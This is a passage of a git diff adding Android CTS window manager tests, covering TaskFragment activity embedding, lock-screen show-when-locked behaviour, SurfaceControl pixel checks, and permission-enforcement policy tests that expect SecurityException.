+    private void testActivityLaunchInExpandedTaskFragmentInternal() {
+
+        final TaskFragmentCreationParams fullScreenParamsC = mTaskFragmentOrganizer
+                .generateTaskFragParams(mOwnerToken, new Rect(), WINDOWING_MODE_FULLSCREEN);
+        final IBinder taskFragTokenC = fullScreenParamsC.getFragmentToken();
+        final WindowContainerTransaction wct = new WindowContainerTransaction()
+                .createTaskFragment(fullScreenParamsC)
+                .startActivityInTaskFragment(taskFragTokenC, mOwnerToken, mIntent,
+                        null /* activityOptions */);
+
+        mTaskFragmentOrganizer.applyTransaction(wct);
+
+        mTaskFragmentOrganizer.waitForTaskFragmentCreated();
+
+        assertNotEmptyTaskFragment(mTaskFragmentOrganizer.getTaskFragmentInfo(taskFragTokenC),
+                taskFragTokenC);
+
+        waitAndAssertResumedActivity(mActivityC, "Activity C must be resumed.");
+        waitAndAssertActivityState(mActivityA, STATE_STOPPED,
+                "Activity A is occluded by Activity C, so it must be stopped.");
+        waitAndAssertActivityState(mActivityB, STATE_STOPPED,
+                "Activity B is occluded by Activity C, so it must be stopped.");
+    }
+
+    /**
+     * Verifies the behavior to launch Activity above the embedded Task in TaskFragment.
+     * <p>
+     * For example, given that Activity A and B are showed side-by-side, which Activity B is in
+     * embedded Task, this test verifies the behavior to launch Activity C on top of the embedded
+     * Task in the same TaskFragment as Activity B:
+     * <pre class="prettyprint">
+     * - Left -      - Right -
+     * TaskFragmentA TaskFragmentB
+     *   - ActivityA   - ActivityC <---- new started Activity
+     *                 - Embedded Task
+     *                   - ActivityB
+     * </pre></p>
+     */
+    @Test
+    @Ignore("b/197364677")
+    public void testActivityLaunchAboveEmbeddedTaskInTaskFragment() {
+        // Initialize test environment by launching Activity A and B side-by-side.
+        initializeSplitActivities(true /* verifyEmbeddedTask */);
+
+        final IBinder taskFragTokenB = mTaskFragB.getTaskFragToken();
+
+        WindowContainerTransaction wct = new WindowContainerTransaction()
+                .startActivityInTaskFragment(taskFragTokenB, mOwnerToken, mIntent,
+                        null /* activityOptions */);
+
+        mTaskFragmentOrganizer.applyTransaction(wct);
+
+        mTaskFragmentOrganizer.waitForTaskFragmentInfoChanged();
+
+        final TaskFragmentInfo infoB = mTaskFragmentOrganizer.getTaskFragmentInfo(taskFragTokenB);
+
+        assertNotEmptyTaskFragment(infoB, taskFragTokenB);
+
+        waitAndAssertResumedActivity(mActivityC, "Activity C must be resumed.");
+        waitAndAssertResumedActivity(mActivityA, "Activity A must be resumed.");
+        waitAndAssertActivityState(mActivityB, WindowManagerState.STATE_STOPPED,
+                "Activity B is occluded by Activity C, so it must be stopped.");
+
+        final TaskFragment taskFragmentB = mWmState.getTaskFragmentByActivity(mActivityB);
+        assertWithMessage("TaskFragmentB must contain Activity C")
+                .that(taskFragmentB.mActivities).containsExactly(mWmState.getActivity(mActivityC));
+    }
+
+    /**
+     * Verifies the behavior to launch Activity to the embedded Task in TaskFragment.
+     * <p>
+     * For example, given that Activity A and B are showed side-by-side, which Activity B is in
+     * embedded Task, this test verifies the behavior to launch Activity C to the embedded Task
+     * and on top of Activity B:
+     * <pre class="prettyprint">
+     * - Left -      - Right -
+     * TaskFragmentA TaskFragmentB
+     *   - ActivityA   - Embedded Task
+     *                   - ActivityC <---- new started Activity
+     *                   - ActivityB
+     * </pre></p>
+     */
+    @Test
+    @Ignore("b/197364677")
+    public void testActivityLaunchToEmbeddedTaskInTaskFragment() {
+        // Initialize test environment by launching Activity A and B side-by-side.
+        initializeSplitActivities(true /* verifyEmbeddedTask */);
+
+        final IBinder taskFragTokenB = mTaskFragB.getTaskFragToken();
+        // Make Activity C launch to the embedded Task.
+        final Intent intent = new Intent(mIntent).addFlags(FLAG_ACTIVITY_NEW_TASK);
+
+        WindowContainerTransaction wct = new WindowContainerTransaction()
+                .startActivityInTaskFragment(taskFragTokenB, mOwnerToken, intent,
+                        null /* activityOptions */);
+
+        mTaskFragmentOrganizer.applyTransaction(wct);
+
+        waitAndAssertResumedActivity(mActivityC, "Activity C must be resumed.");
+        waitAndAssertResumedActivity(mActivityA, "Activity A must be resumed.");
+        waitAndAssertActivityState(mActivityB, STATE_STOPPED,
+                "Activity B is occluded by Activity C, so it must be stopped.");
+
+        final Task embeddedTask = mWmState.getTaskByActivity(mActivityB);
+        assertWithMessage("Embedded Task must contain Activity B and Activity C")
+                .that(embeddedTask.mActivities).containsExactly(mWmState.getActivity(mActivityB),
+                mWmState.getActivity(mActivityC));
+    }
+
+    /**
+     * Verifies the show-when-locked behavior while launch embedded activities. Don't show the
+     * embedded activities even if one of Activity has showWhenLocked flag.
+     */
+    @Test
+    public void testLaunchEmbeddedActivityWithShowWhenLocked() {
+        assumeTrue(supportsLockScreen());
+
+        // Create lock screen session and set credentials (since some devices will not show a
+        // lockscreen without credentials set).
+        final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+        lockScreenSession.setLockCredential();
+        // Initialize test environment by launching Activity A and B (with showWhenLocked)
+        // side-by-side.
+        initializeSplitActivities(false /* verifyEmbeddedTask */, true /* showWhenLocked */);
+
+        lockScreenSession.sleepDevice();
+        lockScreenSession.wakeUpDevice();
+
+        waitAndAssertActivityState(mActivityA, STATE_STOPPED,"Activity A must be stopped");
+        waitAndAssertActivityState(mActivityB, STATE_STOPPED,"Activity B must be stopped");
+    }
+
+    /**
+     * Verifies the show-when-locked behavior while launch embedded activities. Don't show the
+     * embedded activities if the activities don't have showWhenLocked flag.
+     */
+    @Test
+    public void testLaunchEmbeddedActivitiesWithoutShowWhenLocked() {
+        assumeTrue(supportsLockScreen());
+
+        // Create lock screen session and set credentials (since some devices will not show a
+        // lockscreen without credentials set).
+        final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+        lockScreenSession.setLockCredential();
+        // Initialize test environment by launching Activity A and B side-by-side.
+        initializeSplitActivities(false /* verifyEmbeddedTask */, false /* showWhenLocked */);
+
+        lockScreenSession.sleepDevice();
+        lockScreenSession.wakeUpDevice();
+
+        waitAndAssertActivityState(mActivityA, STATE_STOPPED,"Activity A must be stopped");
+        waitAndAssertActivityState(mActivityB, STATE_STOPPED,"Activity B must be stopped");
+    }
+
+    /**
+     * Verifies the show-when-locked behavior while launch embedded activities. The embedded
+     * activities should be shown on top of the lock screen since they have the showWhenLocked flag.
+     * Don't show the embedded activities even if one of Activity has showWhenLocked flag.
+     */
+    @Test
+    public void testLaunchEmbeddedActivitiesWithShowWhenLocked() {
+        assumeTrue(supportsLockScreen());
+
+        // Create lock screen session and set credentials (since some devices will not show a
+        // lockscreen without credentials set).
+        final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+        lockScreenSession.setLockCredential();
+        // Initialize test environment by launching Activity A and B side-by-side.
+        mOwnerActivity.setShowWhenLocked(true);
+        initializeSplitActivities(false /* verifyEmbeddedTask */, true /* showWhenLocked */);
+
+        lockScreenSession.sleepDevice();
+        lockScreenSession.wakeUpDevice();
+
+        waitAndAssertResumedActivity(mActivityA, "Activity A must be resumed.");
+        waitAndAssertResumedActivity(mActivityB, "Activity B must be resumed.");
+
+        // Launch Activity C without show-when-lock and verifies that both activities are stopped.
+        mOwnerActivity.startActivity(mIntent);
+        waitAndAssertActivityState(mActivityA, STATE_STOPPED, "Activity A must be stopped");
+        waitAndAssertActivityState(mActivityC, STATE_STOPPED, "Activity C must be stopped");
+    }
+
+    /**
+     * Verifies an Activity below adjacent translucent TaskFragments is visible.
+     */
+    @Test
+    public void testTranslucentAdjacentTaskFragment() {
+        // Create ActivityB on top of ActivityA
+        Activity activityB = startActivityInWindowingModeFullScreen(ActivityB.class);
+        waitAndAssertResumedActivity(mActivityB, "Activity B must be resumed.");
+        waitAndAssertActivityState(mActivityA, STATE_STOPPED,
+                "Activity A is occluded by Activity B, so it must be stopped.");
+
+        // Create two adjacent TaskFragments, making ActivityB and TranslucentActivity
+        // displayed side-by-side (ActivityB|TranslucentActivity).
+        mOwnerActivity.getWindowManager().getCurrentWindowMetrics().getBounds()
+                .splitVertically(mPrimaryBounds, mSideBounds);
+        final TaskFragmentCreationParams primaryParams = generatePrimaryTaskFragParams();
+        final TaskFragmentCreationParams secondaryParams = generateSideTaskFragParams();
+        IBinder primaryToken = primaryParams.getFragmentToken();
+        IBinder secondaryToken = secondaryParams.getFragmentToken();
+
+        final ComponentName translucentActivity = new ComponentName(mContext,
+                TranslucentActivity.class);
+        final Intent intent = new Intent().setComponent(translucentActivity);
+        WindowContainerTransaction wct = new WindowContainerTransaction()
+                .createTaskFragment(primaryParams)
+                .reparentActivityToTaskFragment(primaryToken, getActivityToken(activityB))
+                .createTaskFragment(secondaryParams)
+                .setAdjacentTaskFragments(primaryToken, secondaryToken, null /* params */)
+                .startActivityInTaskFragment(secondaryToken, mOwnerToken, intent,
+                        null /* activityOptions */);
+        mTaskFragmentOrganizer.applyTransaction(wct);
+
+        waitAndAssertResumedActivity(translucentActivity, "TranslucentActivity must be resumed.");
+        waitAndAssertResumedActivity(mActivityB, "Activity B must be resumed.");
+        waitAndAssertActivityState(mActivityA, STATE_STARTED,
+                "Activity A is not fully occluded and must be visible and started");
+    }
+
+    private TaskFragmentCreationParams generatePrimaryTaskFragParams() {
+        return mTaskFragmentOrganizer.generateTaskFragParams(mOwnerToken, mPrimaryBounds,
+                WINDOWING_MODE_MULTI_WINDOW);
+    }
+
+    private TaskFragmentCreationParams generateSideTaskFragParams() {
+        return mTaskFragmentOrganizer.generateTaskFragParams(mOwnerToken, mSideBounds,
+                WINDOWING_MODE_MULTI_WINDOW);
+    }
+
+    private static class TaskFragmentRecord {
+        private final IBinder mTaskFragToken;
+        private final Rect mBounds = new Rect();
+        private final WindowContainerToken mContainerToken;
+
+        private TaskFragmentRecord(TaskFragmentInfo info) {
+            mTaskFragToken = info.getFragmentToken();
+            mBounds.set(info.getConfiguration().windowConfiguration.getBounds());
+            mContainerToken = info.getToken();
+        }
+
+        private IBinder getTaskFragToken() {
+            return mTaskFragToken;
+        }
+
+        private Rect getBounds() {
+            return mBounds;
+        }
+
+        private WindowContainerToken getToken() {
+            return mContainerToken;
+        }
+    }
+
+    public static class ActivityA extends SplitTestActivity {}
+    public static class ActivityB extends SplitTestActivity {}
+    public static class ActivityC extends SplitTestActivity {}
+    public static class TranslucentActivity extends SplitTestActivity {}
+    public static class SplitTestActivity extends FocusableActivity {
+        public static final String EXTRA_SHOW_WHEN_LOCKED = "showWhenLocked";
+        @Override
+        protected void onCreate(Bundle icicle) {
+            super.onCreate(icicle);
+            if (getIntent().getBooleanExtra(EXTRA_SHOW_WHEN_LOCKED, false)) {
+                setShowWhenLocked(true);
+            }
+        }
+    }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlTest.java b/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlTest.java
index 5f069e0..9e00b08 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlTest.java
@@ -44,6 +44,12 @@
 @Presubmit
 public class SurfaceControlTest {
     private static final int DEFAULT_SURFACE_SIZE = 100;
+    /**
+     * Use a rect that doesn't include 1 pixel in the border since some composers add blending at
+     * the edges. It's easier to just ignore those pixels and ensure the rest are correct.
+     */
+    private static final Rect DEFAULT_RECT = new Rect(1, 1, DEFAULT_SURFACE_SIZE - 1,
+            DEFAULT_SURFACE_SIZE - 1);
 
     @Rule
     public ActivityScenarioRule<ASurfaceControlTestActivity> mActivityRule =
@@ -71,9 +77,8 @@
         public void surfaceDestroyed(@NonNull SurfaceHolder holder) {}
     }
 
-    private void verifyTest(SurfaceHolder.Callback callback,
-            PixelChecker pixelChecker) throws Throwable {
-        mActivity.verifyTest(callback, pixelChecker, 0 /* delayInMs */);
+    private void verifyTest(SurfaceHolder.Callback callback, PixelChecker pixelChecker) {
+        mActivity.verifyTest(callback, pixelChecker);
     }
 
     @Before
@@ -154,7 +159,7 @@
                         sc.release();
                     }
                 },
-                new RectChecker(new Rect(0, 0, 100, 100), PixelColor.RED));
+                new RectChecker(DEFAULT_RECT, PixelColor.RED));
     }
 
     /**
@@ -173,7 +178,7 @@
                         sc.release();
                     }
                 },
-                new RectChecker(new Rect(0, 0, 100, 100), PixelColor.BLACK));
+                new RectChecker(DEFAULT_RECT, PixelColor.BLACK));
     }
 
     /**
@@ -190,7 +195,7 @@
                         new SurfaceControl.Transaction().reparent(sc, null).apply();
                     }
                 },
-                new RectChecker(new Rect(0, 0, 100, 100), PixelColor.BLACK));
+                new RectChecker(DEFAULT_RECT, PixelColor.BLACK));
       // Since the SurfaceControl is parented off-screen, if we release our reference
       // it may completely die. If this occurs while the render thread is still rendering
       // the RED background we could trigger a crash. For this test defer destroying the
@@ -218,7 +223,7 @@
                         sc.release();
                     }
                 },
-                new RectChecker(new Rect(0, 0, 100, 100), PixelColor.RED));
+                new RectChecker(DEFAULT_RECT, PixelColor.RED));
     }
 
     /**
@@ -242,7 +247,7 @@
                         sc.release();
                     }
                 },
-                new RectChecker(new Rect(0, 0, 100, 100), PixelColor.GREEN));
+                new RectChecker(DEFAULT_RECT, PixelColor.GREEN));
     }
 
     /**
@@ -263,7 +268,7 @@
                 },
 
                 // The rect should be offset by -50 pixels
-                new MultiRectChecker(new Rect(0, 0, 100, 100)) {
+                new MultiRectChecker(DEFAULT_RECT) {
                     final PixelColor red = new PixelColor(PixelColor.RED);
                     final PixelColor black = new PixelColor(PixelColor.BLACK);
                     @Override
@@ -296,7 +301,7 @@
                 },
 
                 // The rect should be offset by 50 pixels
-                new MultiRectChecker(new Rect(0, 0, 100, 100)) {
+                new MultiRectChecker(DEFAULT_RECT) {
                     final PixelColor red = new PixelColor(PixelColor.RED);
                     final PixelColor black = new PixelColor(PixelColor.BLACK);
                     @Override
@@ -329,6 +334,6 @@
                     }
                 },
 
-                new RectChecker(new Rect(0, 0, 100, 100), PixelColor.RED));
+                new RectChecker(DEFAULT_RECT, PixelColor.RED));
     }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerPolicyTest.java b/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerPolicyTest.java
new file mode 100644
index 0000000..9f8d6e0
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerPolicyTest.java
@@ -0,0 +1,378 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+import static android.server.wm.TaskFragmentOrganizerTestBase.assertEmptyTaskFragment;
+import static android.server.wm.TaskFragmentOrganizerTestBase.assertNotEmptyTaskFragment;
+import static android.server.wm.TaskFragmentOrganizerTestBase.getActivityToken;
+import static android.server.wm.WindowManagerState.STATE_RESUMED;
+import static android.server.wm.app.Components.LAUNCHING_ACTIVITY;
+import static android.server.wm.app30.Components.SDK_30_TEST_ACTIVITY;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.assertEquals;
+
+import android.app.Activity;
+import android.app.Instrumentation;
+import android.content.Intent;
+import android.graphics.Rect;
+import android.os.Binder;
+import android.os.IBinder;
+import android.platform.test.annotations.Presubmit;
+import android.server.wm.TaskFragmentOrganizerTestBase.BasicTaskFragmentOrganizer;
+import android.server.wm.WindowContextTests.TestActivity;
+import android.window.TaskAppearedInfo;
+import android.window.TaskFragmentCreationParams;
+import android.window.TaskFragmentInfo;
+import android.window.TaskFragmentOrganizer;
+import android.window.TaskOrganizer;
+import android.window.WindowContainerToken;
+import android.window.WindowContainerTransaction;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Tests that verify the behavior of {@link TaskFragmentOrganizer} policy.
+ *
+ * Build/Install/Run:
+ *     atest CtsWindowManagerDeviceTestCases:TaskFragmentOrganizerPolicyTest
+ */
+@RunWith(AndroidJUnit4.class)
+@Presubmit
+public class TaskFragmentOrganizerPolicyTest extends ActivityManagerTestBase {
+    private TaskOrganizer mTaskOrganizer;
+    private BasicTaskFragmentOrganizer mTaskFragmentOrganizer;
+
+    @Before
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        mTaskFragmentOrganizer = new BasicTaskFragmentOrganizer();
+        mTaskFragmentOrganizer.registerOrganizer();
+    }
+
+    @After
+    public void tearDown() {
+        if (mTaskFragmentOrganizer != null) {
+            mTaskFragmentOrganizer.unregisterOrganizer();
+        }
+    }
+
+    /**
+     * Verifies whether performing non-TaskFragment
+     * {@link android.window.WindowContainerTransaction.HierarchyOp operations} on
+     * {@link TaskFragmentOrganizer} without permission throws {@link SecurityException}.
+     */
+    @Test(expected = SecurityException.class)
+    public void testPerformNonTaskFragmentHierarchyOperation_ThrowException() {
+        final List<TaskAppearedInfo> taskInfos = new ArrayList<>();
+        try {
+            // Register TaskOrganizer to obtain Task information.
+            NestedShellPermission.run(() -> {
+                mTaskOrganizer = new TaskOrganizer();
+                taskInfos.addAll(mTaskOrganizer.registerOrganizer());
+            });
+
+            // It is expected to throw Security exception when TaskFragmentOrganizer performs a
+            // non-TaskFragment hierarchy operation.
+            final WindowContainerToken taskToken = taskInfos.get(0).getTaskInfo().getToken();
+            final WindowContainerTransaction wct = new WindowContainerTransaction()
+                    .reorder(taskToken, true /* opTop */);
+            mTaskFragmentOrganizer.applyTransaction(wct);
+        } finally {
+            if (mTaskOrganizer != null) {
+                NestedShellPermission.run(() -> mTaskOrganizer.unregisterOrganizer());
+            }
+        }
+    }
+
+    /**
+     * Verifies whether changing property on non-TaskFragment window container without permission
+     * throws {@link SecurityException}.
+     */
+    @Test(expected = SecurityException.class)
+    public void testSetPropertyOnNonTaskFragment_ThrowException() {
+        final List<TaskAppearedInfo> taskInfos = new ArrayList<>();
+        try {
+            // Register TaskOrganizer to obtain Task information.
+            NestedShellPermission.run(() -> {
+                mTaskOrganizer = new TaskOrganizer();
+                taskInfos.addAll(mTaskOrganizer.registerOrganizer());
+            });
+
+            // It is expected to throw SecurityException when TaskFragmentOrganizer attempts to
+            // change the property on non-TaskFragment container.
+            final WindowContainerToken taskToken = taskInfos.get(0).getTaskInfo().getToken();
+            final WindowContainerTransaction wct = new WindowContainerTransaction()
+                    .setBounds(taskToken, new Rect());
+            mTaskFragmentOrganizer.applyTransaction(wct);
+        } finally {
+            if (mTaskOrganizer != null) {
+                NestedShellPermission.run(() -> mTaskOrganizer.unregisterOrganizer());
+            }
+        }
+    }
+
+    /**
+     * Verifies whether performing TaskFragment
+     * {@link android.window.WindowContainerTransaction.HierarchyOp operations} on the TaskFragment
+     * which is not organized by given {@link TaskFragmentOrganizer} throws
+     * {@link SecurityException}.
+     */
+    @Test(expected = SecurityException.class)
+    public void testPerformOperationsOnNonOrganizedTaskFragment_ThrowException() {
+        final Activity activity = startNewActivity();
+
+        // Create a TaskFragment with a TaskFragmentOrganizer.
+        final TaskFragmentCreationParams params = mTaskFragmentOrganizer.generateTaskFragParams(
+                getActivityToken(activity));
+        final IBinder taskFragToken = params.getFragmentToken();
+        WindowContainerTransaction wct = new WindowContainerTransaction()
+                .createTaskFragment(params);
+        mTaskFragmentOrganizer.applyTransaction(wct);
+        // Wait for TaskFragment's creation to obtain its WindowContainerToken.
+        mTaskFragmentOrganizer.waitForTaskFragmentCreated();
+
+        // Create another TaskFragmentOrganizer
+        final TaskFragmentOrganizer anotherOrganizer = new TaskFragmentOrganizer(Runnable::run);
+        anotherOrganizer.registerOrganizer();
+        // Try to perform an operation on the TaskFragment when is organized by the previous
+        // TaskFragmentOrganizer.
+        wct = new WindowContainerTransaction()
+                .deleteTaskFragment(mTaskFragmentOrganizer.getTaskFragmentInfo(taskFragToken)
+                        .getToken());
+
+        // It is expected to throw SecurityException when performing operations on the TaskFragment
+        // which is not organized by the same TaskFragmentOrganizer.
+        anotherOrganizer.applyTransaction(wct);
+    }
+
+    /**
+     * Verifies the behavior to start Activity from another process in a new created Task under
+     * TaskFragment with {@link android.permission#ACTIVITY_EMBEDDING}.
+     * <p>
+     * If the application to start Activity holds the permission, the activity is allowed to start
+     * on the Task. Otherwise, the TaskFragment should remain empty.
+     * </p>
+     */
+    @Test
+    @Ignore("b/197364677")
+    public void testStartActivityFromAnotherProcessInEmbeddedTask() {
+        final Activity activity = startNewActivity();
+        final IBinder ownerToken = getActivityToken(activity);
+        final TaskFragmentCreationParams params = mTaskFragmentOrganizer.generateTaskFragParams(
+                ownerToken);
+        final IBinder taskFragToken = params.getFragmentToken();
+        final Intent intent = new Intent()
+                .setComponent(LAUNCHING_ACTIVITY)
+                .addFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK);
+        final IBinder errorCallbackToken = new Binder();
+
+        WindowContainerTransaction wct = new WindowContainerTransaction()
+                .setErrorCallbackToken(errorCallbackToken)
+                .createTaskFragment(params)
+                .startActivityInTaskFragment(taskFragToken, ownerToken, intent,
+                        null /* activityOptions */);
+
+        mTaskFragmentOrganizer.applyTransaction(wct);
+
+        mTaskFragmentOrganizer.waitForTaskFragmentCreated();
+
+        TaskFragmentInfo info = mTaskFragmentOrganizer.getTaskFragmentInfo(taskFragToken);
+
+        // TaskFragment must remain empty because we don't hold EMBEDDING_ACTIVITY permission to
+        // launch Activity in the embedded Task.
+        assertEmptyTaskFragment(info, taskFragToken);
+
+        mTaskFragmentOrganizer.waitForTaskFragmentError();
+
+        assertThat(mTaskFragmentOrganizer.getThrowable()).isInstanceOf(SecurityException.class);
+        assertThat(mTaskFragmentOrganizer.getErrorCallbackToken()).isEqualTo(errorCallbackToken);
+
+        final WindowContainerTransaction wctWithPermission = new WindowContainerTransaction()
+                .startActivityInTaskFragment(taskFragToken, ownerToken, intent,
+                        null /* activityOptions */);
+
+        NestedShellPermission.run(() -> mTaskFragmentOrganizer.applyTransaction(wctWithPermission),
+                "android.permission.ACTIVITY_EMBEDDING");
+
+        mTaskFragmentOrganizer.waitForTaskFragmentInfoChanged();
+
+        info = mTaskFragmentOrganizer.getTaskFragmentInfo(taskFragToken);
+
+        // The new started Activity must be launched in the new created Task under the TaskFragment
+        // with token taskFragToken.
+        assertNotEmptyTaskFragment(info, taskFragToken);
+    }
+
+    /**
+     * Verifies the behavior of starting an Activity of another app in TaskFragment is not
+     * allowed without permissions.
+     */
+    @Test
+    public void testStartAnotherAppActivityInTaskFragment() {
+        final Activity activity = startNewActivity();
+        final IBinder ownerToken = getActivityToken(activity);
+        final TaskFragmentCreationParams params =
+                mTaskFragmentOrganizer.generateTaskFragParams(ownerToken);
+        final IBinder taskFragToken = params.getFragmentToken();
+        final WindowContainerTransaction wct = new WindowContainerTransaction()
+                .createTaskFragment(params)
+                .startActivityInTaskFragment(taskFragToken, ownerToken,
+                        new Intent().setComponent(SDK_30_TEST_ACTIVITY),
+                        null /* activityOptions */);
+        mTaskFragmentOrganizer.applyTransaction(wct);
+        mTaskFragmentOrganizer.waitForTaskFragmentCreated();
+
+        // Launching an activity of another app in TaskFragment should report error.
+        mTaskFragmentOrganizer.waitForTaskFragmentError();
+        assertThat(mTaskFragmentOrganizer.getThrowable()).isInstanceOf(SecurityException.class);
+
+        // Making sure no activity launched
+        TaskFragmentInfo info = mTaskFragmentOrganizer.getTaskFragmentInfo(taskFragToken);
+        assertEmptyTaskFragment(info, taskFragToken);
+    }
+
+    /**
+     * Verifies the behavior of starting an Activity of another app while activities of the host
+     * app are already embedded in TaskFragment.
+     */
+    @Test
+    public void testStartAnotherAppActivityWithEmbeddedTaskFragments() {
+        final Activity activity = startNewActivity();
+        final IBinder ownerToken = getActivityToken(activity);
+        final TaskFragmentCreationParams params =
+                mTaskFragmentOrganizer.generateTaskFragParams(ownerToken);
+        final IBinder taskFragToken = params.getFragmentToken();
+        final WindowContainerTransaction wct = new WindowContainerTransaction()
+                .createTaskFragment(params)
+                .startActivityInTaskFragment(taskFragToken, ownerToken,
+                        new Intent(getInstrumentation().getTargetContext(),
+                                WindowMetricsActivityTests.MetricsActivity.class),
+                        null /* activityOptions */);
+        mTaskFragmentOrganizer.applyTransaction(wct);
+        mTaskFragmentOrganizer.waitForTaskFragmentCreated();
+        mTaskFragmentOrganizer.waitForAndGetTaskFragmentInfo(
+                taskFragToken, info -> info.getActivities().size() == 1,
+                "getActivities from TaskFragment must contain 1 activities");
+
+        activity.startActivity(new Intent().setComponent(SDK_30_TEST_ACTIVITY));
+
+        waitAndAssertActivityState(SDK_30_TEST_ACTIVITY, STATE_RESUMED,
+                "Activity should be resumed.");
+        TaskFragmentInfo info = mTaskFragmentOrganizer.getTaskFragmentInfo(taskFragToken);
+        assertEquals(1, info.getActivities().size());
+    }
+
+    /**
+     * Verifies whether creating TaskFragment with non-resizeable {@link Activity} leads to
+     * {@link IllegalArgumentException} returned by
+     * {@link TaskFragmentOrganizer#onTaskFragmentError(IBinder, Throwable)}.
+     */
+    @Test
+    public void testCreateTaskFragmentWithNonResizeableActivity_ThrowException() {
+        // Pass non-resizeable Activity's token to TaskFragmentCreationParams and tries to
+        // create a TaskFragment with the params.
+        final Activity activity =
+                startNewActivity(CompatChangeTests.NonResizeablePortraitActivity.class);
+        final IBinder ownerToken = getActivityToken(activity);
+        final TaskFragmentCreationParams params =
+                mTaskFragmentOrganizer.generateTaskFragParams(ownerToken);
+        final WindowContainerTransaction wct = new WindowContainerTransaction()
+                .createTaskFragment(params);
+
+        mTaskFragmentOrganizer.applyTransaction(wct);
+
+        mTaskFragmentOrganizer.waitForTaskFragmentError();
+
+        assertThat(mTaskFragmentOrganizer.getThrowable())
+                .isInstanceOf(IllegalArgumentException.class);
+    }
+
+    /**
+     * Verifies that the TaskFragment hierarchy ops should still work while in lock task mode.
+     */
+    @Test
+    public void testApplyHierarchyOpsInLockTaskMode() {
+        // Start an activity
+        final Activity activity = startNewActivity();
+
+        try {
+            // Lock the task
+            runWithShellPermission(() -> {
+                mAtm.startSystemLockTaskMode(activity.getTaskId());
+            });
+
+            // Create TaskFragment and reparent the activity
+            final IBinder ownerToken = getActivityToken(activity);
+            final TaskFragmentCreationParams params =
+                    mTaskFragmentOrganizer.generateTaskFragParams(ownerToken);
+            final IBinder taskFragToken = params.getFragmentToken();
+            WindowContainerTransaction wct = new WindowContainerTransaction()
+                    .createTaskFragment(params)
+                    .reparentActivityToTaskFragment(taskFragToken, ownerToken);
+            mTaskFragmentOrganizer.applyTransaction(wct);
+
+            // Verifies it works
+            mTaskFragmentOrganizer.waitForTaskFragmentCreated();
+            TaskFragmentInfo info = mTaskFragmentOrganizer.getTaskFragmentInfo(taskFragToken);
+            assertEquals(1, info.getActivities().size());
+
+            // Delete the TaskFragment
+            wct = new WindowContainerTransaction().deleteTaskFragment(
+                    mTaskFragmentOrganizer.getTaskFragmentInfo(taskFragToken).getToken());
+            mTaskFragmentOrganizer.applyTransaction(wct);
+
+            // Verifies the TaskFragment NOT removed because the removal would also empty the task.
+            mTaskFragmentOrganizer.waitForTaskFragmentError();
+            assertThat(mTaskFragmentOrganizer.getThrowable()).isInstanceOf(
+                    IllegalStateException.class);
+            info = mTaskFragmentOrganizer.getTaskFragmentInfo(taskFragToken);
+            assertEquals(1, info.getActivities().size());
+        } finally {
+            runWithShellPermission(() -> {
+                mAtm.stopSystemLockTaskMode();
+            });
+        }
+    }
+
+    private static Activity startNewActivity() {
+        return startNewActivity(TestActivity.class);
+    }
+
+    private static Activity startNewActivity(Class<?> className) {
+        final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+        final Intent intent = new Intent(instrumentation.getTargetContext(), className)
+                .addFlags(FLAG_ACTIVITY_NEW_TASK);
+        return instrumentation.startActivitySync(intent);
+    }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerTest.java b/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerTest.java
new file mode 100644
index 0000000..def5b0b
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerTest.java
@@ -0,0 +1,293 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import static android.app.WindowConfiguration.WINDOWING_MODE_MULTI_WINDOW;
+import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+import static android.server.wm.app.Components.LAUNCHING_ACTIVITY;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.Activity;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.graphics.Rect;
+import android.os.Binder;
